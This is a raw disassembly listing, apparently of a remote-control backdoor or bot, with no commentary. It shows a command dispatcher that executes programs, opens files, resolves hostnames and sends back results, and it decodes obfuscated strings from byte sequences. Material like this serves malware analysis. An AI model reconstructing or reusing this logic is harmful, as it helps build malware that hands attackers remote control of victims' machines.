		lea	ecx, [esp+98h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+0A0h+var_4], 9
		call	sub_401E47
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+9Ch+var_4], 0Ah
		call	sub_401FDC
		lea	ecx, [esp+98h+var_3C]
		mov	byte ptr [esp+98h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+98h+var_24]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		mov	al, [esp+98h+arg_4]
		test	al, al
		jnz	short loc_4049F7
		test	ebp, ebp
		jle	short loc_404A08


loc_4049E8:				; CODE XREF: sub_404690+363j
		mov	ecx, [esp+98h+var_88]
		push	esi
		call	sub_401F87
		dec	ebp
		jnz	short loc_4049E8
		jmp	short loc_404A08
; ---------------------------------------------------------------------------


loc_4049F7:				; CODE XREF: sub_404690+352j
		test	ebp, ebp
		jle	short loc_404A08


loc_4049FB:				; CODE XREF: sub_404690+376j
		mov	ecx, [esp+98h+var_88]
		push	esi
		call	sub_40144C
		dec	ebp
		jnz	short loc_4049FB


loc_404A08:				; CODE XREF: sub_404690+356j
					; sub_404690+365j ...
		lea	ecx, [esp+98h+var_84]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_404A3A
; ---------------------------------------------------------------------------


loc_404A1E:				; CODE XREF: sub_404690+1E7j
		mov	al, [esp+98h+arg_4]
		mov	ecx, [esp+98h+var_88]
		test	al, al
		push	esi
		jnz	short loc_404A35
		call	sub_401F87
		jmp	short loc_404A3A
; ---------------------------------------------------------------------------


loc_404A35:				; CODE XREF: sub_404690+39Cj
		call	sub_40144C


loc_404A3A:				; CODE XREF: sub_404690+162j
					; sub_404690+232j ...
		mov	ecx, [esp+98h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 88h
		retn	8
sub_404690	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404B60	proc near		; CODE XREF: sub_401F87j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, ecx
		mov	ecx, offset word_44AC62
		call	sub_4014DD
		mov	esi, [esp+8+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_404BA6
		sub	esp, 18h
		lea	eax, [esi+15h]
		mov	ecx, esp
		mov	[esp+20h+arg_0], esp
		push	eax
		call	sub_4014D3
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		test	eax, eax
		jnz	short loc_404BA6
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404BA6:				; CODE XREF: sub_404B60+1Dj
					; sub_404B60+3Dj
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+20h+arg_0], esp
		push	edx
		call	sub_4014D3
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		test	eax, eax
		jnz	short loc_404BE6
		mov	al, [edi+469h]
		test	al, al
		jz	short loc_404BE6
		push	0
		lea	ecx, [esi+2Ah]
		call	sub_401479
		cmp	byte ptr [eax],	23h
		jz	short loc_404BE6
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404BE6:				; CODE XREF: sub_404B60+64j
					; sub_404B60+6Ej ...
		push	esi
		mov	ecx, edi
		call	sub_40144C
		pop	edi
		pop	esi
		retn	4
sub_404B60	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404C30	proc near		; CODE XREF: sub_40144Cj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	1
		lea	ecx, [esi+7Eh]
		call	sub_4017EE
		push	eax
		mov	ecx, offset dword_449118
		call	sub_401B04
		test	eax, eax
		jz	short loc_404C5A
		mov	ecx, [eax+2Ah]
		push	esi
		mov	eax, [ecx]
		call	dword ptr [eax]
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404C5A:				; CODE XREF: sub_404C30+1Cj
		xor	al, al
		pop	esi
		retn	4
sub_404C30	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404C70	proc near		; CODE XREF: sub_40186Bj
		push	esi
		push	edi
		mov	edi, dword_5118AC
		mov	esi, ecx
		call	edi
		mov	edx, dword_4D8099
		mov	ecx, [esi+421h]
		sub	eax, edx
		cmp	eax, ecx
		jbe	short loc_404C9F
		mov	ecx, offset byte_4D8075
		call	sub_401D20
		call	edi
		mov	dword_4D8099, eax


loc_404C9F:				; CODE XREF: sub_404C70+1Cj
		pop	edi
		mov	al, 1
		pop	esi
		retn
sub_404C70	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404CC0	proc near		; CODE XREF: sub_4017D0j

var_1B4		= dword	ptr -1B4h
var_1B0		= byte ptr -1B0h
var_1AC		= dword	ptr -1ACh
var_1A8		= byte ptr -1A8h
var_198		= byte ptr -198h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_17C		= dword	ptr -17Ch
var_178		= byte ptr -178h
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_14D		= byte ptr -14Dh
var_14C		= byte ptr -14Ch
var_130		= byte ptr -130h
var_11C		= byte ptr -11Ch
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
var_D0		= dword	ptr -0D0h
var_A0		= byte ptr -0A0h
var_8C		= byte ptr -8Ch
var_54		= byte ptr -54h
var_50		= byte ptr -50h
var_48		= byte ptr -48h
var_30		= byte ptr -30h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_404CC0
		push	eax
		mov	large fs:0, esp
		sub	esp, 15Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+174h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebp, [esi+7Eh]
		lea	ecx, [edi+0C29h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404D34
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [edi+2E3h]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_404D34:				; CODE XREF: sub_404CC0+40j
		lea	ecx, [edi+0D6Bh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_404EC5
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+180h+var_14C]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	offset asc_444600 ; " "
		lea	eax, [esp+17Ch+var_100]
		push	1
		push	eax
		mov	ecx, esi
		mov	[esp+184h+var_4], 0
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 1
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		cmp	eax, 1
		lea	ecx, [esp+178h+var_100]
		mov	byte ptr [esp+178h+var_4], 0
		setz	bl
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		call	sub_40142E
		push	2000h
		push	2000h
		lea	ecx, [esp+180h+var_164]
		mov	byte ptr [esp+180h+var_4], 2
		call	sub_401C71
		push	eax
		lea	ecx, [esp+180h+var_14C]
		call	sub_4017EE
		push	eax
		call	near ptr 2800000h
		nop
		lea	ecx, [esp+178h+var_164]
		push	ecx
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_401FDC
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+178h+var_D0]
		lea	edx, [esp+178h+var_11C]
		rep stosd
		lea	eax, [esp+178h+var_D0]
		push	edx
		push	eax
		push	0
		neg	bl
		push	0
		push	28h
		sbb	ebx, ebx
		push	1
		and	ebx, 5
		push	0
		push	0
		lea	ecx, [esp+198h+var_14C]
		mov	[esp+198h+var_D0], 44h
		mov	word ptr [esp+198h+var_A0], bx
		call	sub_4014DD
		push	eax
		push	0
		nop
		call	near ptr 27F0531h
		test	eax, eax
		jnz	short loc_404E99
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aExec_error ; "exec.error"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 0
		call	sub_401226
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		jmp	loc_4056B8
; ---------------------------------------------------------------------------


loc_404E99:				; CODE XREF: sub_404CC0+18Cj
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_404EC5:				; CODE XREF: sub_404CC0+89j
		lea	ecx, [edi+0B71h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_404F74
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+180h+var_164]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, offset byte_4E8E45
		mov	[esp+178h+var_4], 3
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404F60
		mov	al, byte_449896
		test	al, al
		jz	short loc_404F30
		push	offset dword_449834
		mov	ecx, offset dword_44AD70
		call	sub_401451


loc_404F30:				; CODE XREF: sub_404CC0+25Fj
		mov	al, byte_4498DF
		test	al, al
		jz	short loc_404F48
		push	offset byte_44990F
		mov	ecx, offset dword_44AD70
		call	sub_401951


loc_404F48:				; CODE XREF: sub_404CC0+277j
		mov	ecx, offset dword_44AD70
		call	sub_401E79
		mov	byte_4D808C, 0
		mov	byte_4E8E44, 0


loc_404F60:				; CODE XREF: sub_404CC0+256j
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_164]
		jmp	loc_4056B8
; ---------------------------------------------------------------------------


loc_404F74:				; CODE XREF: sub_404CC0+21Aj
		lea	ecx, [edi+0C57h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404FBC
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		mov	ecx, offset word_4E8E5A
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_404FBC:				; CODE XREF: sub_404CC0+2C9j
		lea	ecx, [edi+0DC7h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405076
		push	eax
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		lea	eax, [esp+19Ch+var_14C]
		push	50h
		push	eax
		call	sub_4019C4
		mov	esi, eax
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	7
		push	9
		push	6
		push	0Eh
		push	0Fh
		push	3
		push	10h
		lea	ecx, [esp+1D4h+var_164]
		push	9
		push	ecx
		mov	[esp+1DCh+var_4], 4
		call	sub_4019C4
		add	esp, 64h
		mov	edi, eax
		mov	ecx, esi
		mov	byte ptr [esp+178h+var_4], 5
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		call	sub_401299
		add	esp, 8
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_405076:				; CODE XREF: sub_404CC0+311j
		lea	ecx, [edi+0D0Fh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405194
		lea	ecx, [esp+178h+var_14C]
		call	sub_40142E
		push	offset asc_444600 ; " "
		lea	edx, [esp+17Ch+var_11C]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+184h+var_4], 6
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 7
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_401A9B
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		call	sub_40142E
		push	1
		mov	bl, 8
		push	0
		push	0
		lea	ecx, [esp+184h+var_14C]
		mov	byte ptr [esp+184h+var_4], bl
		call	sub_4017EE
		push	eax
		push	offset aOpen	; "open"
		push	0
		nop
		call	near ptr 7CA41110h
		movsx	eax, al
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_402112
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], 9
		push	ecx
		lea	ecx, [esp+17Ch+var_164]
		call	sub_40202C
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 6
		call	sub_401226
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		jmp	loc_4056B8
; ---------------------------------------------------------------------------


loc_405194:				; CODE XREF: sub_404CC0+3CBj
		lea	ecx, [edi+0D99h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4051B7
		mov	byte_4D808C, al
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_4051B7:				; CODE XREF: sub_404CC0+4E9j
		lea	ecx, [edi+0D3Dh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40547E
		lea	ecx, [esp+178h+var_11C]
		call	sub_40142E
		push	offset asc_444600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		mov	ebx, 0Ah
		push	ecx
		mov	ecx, esi
		mov	[esp+184h+var_4], ebx
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+17Ch+var_4], 0Bh
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		setz	[esp+178h+var_14D]
		call	sub_401226
		mov	al, [esp+178h+var_14D]
		test	al, al
		jz	short loc_405241
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_11C]
		jmp	loc_4056B8
; ---------------------------------------------------------------------------


loc_405241:				; CODE XREF: sub_404CC0+56Bj
		push	offset asc_444600 ; " "
		lea	edx, [esp+17Ch+var_164]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 0Ch
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 71AB2BF4h
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_104], eax
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		mov	eax, [esp+178h+var_104]
		or	ebp, 0FFFFFFFFh
		cmp	eax, ebp
		jz	loc_405314
		push	2
		lea	eax, [esp+17Ch+var_104]
		push	4
		push	eax
		nop
		call	near ptr 71ABE479h
		mov	edi, eax
		test	edi, edi
		jz	loc_4053F5
		push	offset asc_444600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	edx, [edi]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+17Ch+var_4], 0Dh
		call	sub_4017EE
		push	eax
		lea	eax, [esp+180h+var_11C]
		push	offset aSResolvedS ; "%s resolved %s"
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		jmp	loc_40545B
; ---------------------------------------------------------------------------


loc_405314:				; CODE XREF: sub_404CC0+5C7j
		push	offset asc_444600 ; " "
		lea	eax, [esp+17Ch+var_164]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 0Eh
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 71AB4FD4h
		lea	ecx, [esp+178h+var_164]
		mov	edi, eax
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		test	edi, edi
		jz	loc_4053F5
		mov	ecx, [edi+0Ch]
		push	offset asc_444600 ; " "
		lea	eax, [esp+17Ch+var_164]
		push	1
		mov	edx, [ecx]
		push	eax
		mov	ecx, esi
		mov	edi, [edx]
		call	sub_4016B8
		mov	ebp, eax
		push	edi
		mov	byte ptr [esp+17Ch+var_4], 0Fh
		call	near ptr 71AB3F41h
		nop
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+180h+var_11C]
		push	offset aSS_1	; "%s -> %s"
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_11C]
		mov	bl, al
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_4053F5:				; CODE XREF: sub_404CC0+5E0j
					; sub_404CC0+691j
		push	offset asc_444600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 10h
		call	sub_4017EE
		push	eax
		lea	edx, [esp+17Ch+var_11C]
		push	offset aResolve_errorS ; "resolve.error	%s."
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_40545B:				; CODE XREF: sub_404CC0+64Fj
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_11C]
		mov	bl, al
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		mov	al, bl
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_40547E:				; CODE XREF: sub_404CC0+50Cj
		lea	ecx, [edi+0BCDh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40556C
		lea	ecx, [edi+9]
		call	sub_4017EE
		lea	edx, [esp+178h+var_164]
		push	eax
		push	edx
		call	sub_402040
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	eax, [esp+190h+var_14C]
		mov	ebx, 11h
		push	28h
		push	eax
		mov	[esp+198h+var_4], ebx
		call	sub_4019C4
		add	esp, 20h
		mov	esi, eax
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 12h
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	offset byte_4D8075
		call	sub_401E24
		add	esp, 10h
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		push	20h
		lea	ecx, [esp+17Ch+var_14C]
		push	0
		push	ecx
		lea	ecx, [esp+184h+var_164]
		call	sub_4012B2
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 13h
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		push	offset byte_4E8E45
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_40556C:				; CODE XREF: sub_404CC0+7D3j
		lea	ecx, [edi+0E23h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4056DA
		push	offset asc_444600 ; " "
		lea	edx, [esp+17Ch+var_11C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	edi, eax
		mov	ecx, ebp
		mov	[esp+178h+var_4], 14h
		call	sub_4013E3
		mov	ecx, edi
		mov	ebx, eax
		call	sub_4013E3
		mov	ecx, esi
		lea	edi, [ebx+eax+3]
		call	sub_4013E3
		cmp	eax, edi
		lea	ecx, [esp+178h+var_11C]
		setle	bl
		or	edi, 0FFFFFFFFh
		mov	[esp+178h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_4056BD
		lea	ecx, [esp+178h+var_14C]
		call	sub_40142E
		mov	ecx, ebp
		mov	[esp+178h+var_4], 15h
		call	sub_4013E3
		add	eax, 2
		mov	ecx, esi
		push	eax
		call	sub_401479
		push	eax
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_4015E1
		lea	ecx, [esp+178h+var_164]
		call	sub_40142E
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], 16h
		call	sub_4017EE
		push	eax
		lea	eax, [esp+17Ch+var_164]
		push	offset aExecutedS_ ; "Executed:	%s."
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_14C]
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C293C7h
		add	esp, 4
		cmp	eax, edi
		lea	ecx, [esi+69h]
		jnz	short loc_405674
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aExec_error ; "exec.error"
		push	ecx
		push	edx
		jmp	short loc_405692
; ---------------------------------------------------------------------------


loc_405674:				; CODE XREF: sub_404CC0+997j
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_405692:				; CODE XREF: sub_404CC0+9B2j
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 15h
		call	sub_401226
		mov	[esp+178h+var_4], edi
		lea	ecx, [esp+178h+var_14C]


loc_4056B8:				; CODE XREF: sub_404CC0+1D4j
					; sub_404CC0+2AFj ...
		call	sub_401226


loc_4056BD:				; CODE XREF: sub_404CC0+91Cj
					; sub_404CC0+C6Aj
		xor	al, al


loc_4056BF:				; CODE XREF: sub_404CC0+6Fj
					; sub_404CC0+200j ...
		mov	ecx, [esp+178h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 168h
		retn	4
; ---------------------------------------------------------------------------


loc_4056DA:				; CODE XREF: sub_404CC0+8C1j
		lea	ecx, [edi+0C85h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_405750
		lea	edx, [esp+178h+var_164]
		mov	ecx, edi
		push	edx
		call	sub_401F5A
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+178h+var_4], 17h
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	bl, al
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_405750:				; CODE XREF: sub_404CC0+A2Fj
		lea	ecx, [edi+0CE1h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405841
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+180h+var_14C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	20h
		lea	ecx, [esp+17Ch+var_164]
		push	0
		push	ecx
		mov	ecx, eax
		mov	[esp+184h+var_4], 18h
		call	sub_4012B2
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 19h
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		push	offset byte_4E8E45
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 18h
		call	sub_401226
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], edi
		call	sub_401226
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	edx, [esp+188h+var_164]
		push	28h
		push	edx
		call	sub_4019C4
		add	esp, 18h
		mov	esi, eax
		mov	ecx, offset byte_4E8E45
		mov	[esp+178h+var_4], 1Ah
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	offset byte_4D8075
		call	sub_401E24
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_405841:				; CODE XREF: sub_404CC0+AA5j
		lea	ecx, [edi+0CB3h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405915
		push	offset asc_444600 ; " "
		lea	eax, [esp+17Ch+var_14C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+178h+var_4], 1Bh
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		or	ebp, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+178h+var_14C]
		mov	ebx, eax
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		test	ebx, ebx
		jnz	short loc_4058A9
		mov	ebx, 7


loc_4058A9:				; CODE XREF: sub_404CC0+BE2j
		lea	ecx, [esp+178h+var_164]
		push	ebx
		push	ecx
		mov	ecx, edi
		call	sub_40195B
		push	offset byte_448F30
		lea	ecx, [esp+17Ch+var_164]
		mov	[esp+17Ch+var_4], 1Ch
		call	sub_4012EE
		test	eax, eax
		jz	short loc_4058FE
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118


loc_4058FE:				; CODE XREF: sub_404CC0+C11j
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_405915:				; CODE XREF: sub_404CC0+B96j
		lea	ecx, [edi+0DF5h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4056BD
		lea	ecx, [esp+178h+var_100]
		call	sub_40142E
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+22Ch+var_164]
		push	2Dh
		push	ecx
		mov	[esp+234h+var_4], 1Dh
		call	sub_4019C4
		add	esp, 0BCh
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 1Eh
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+17Ch+var_100]
		call	sub_401A9B
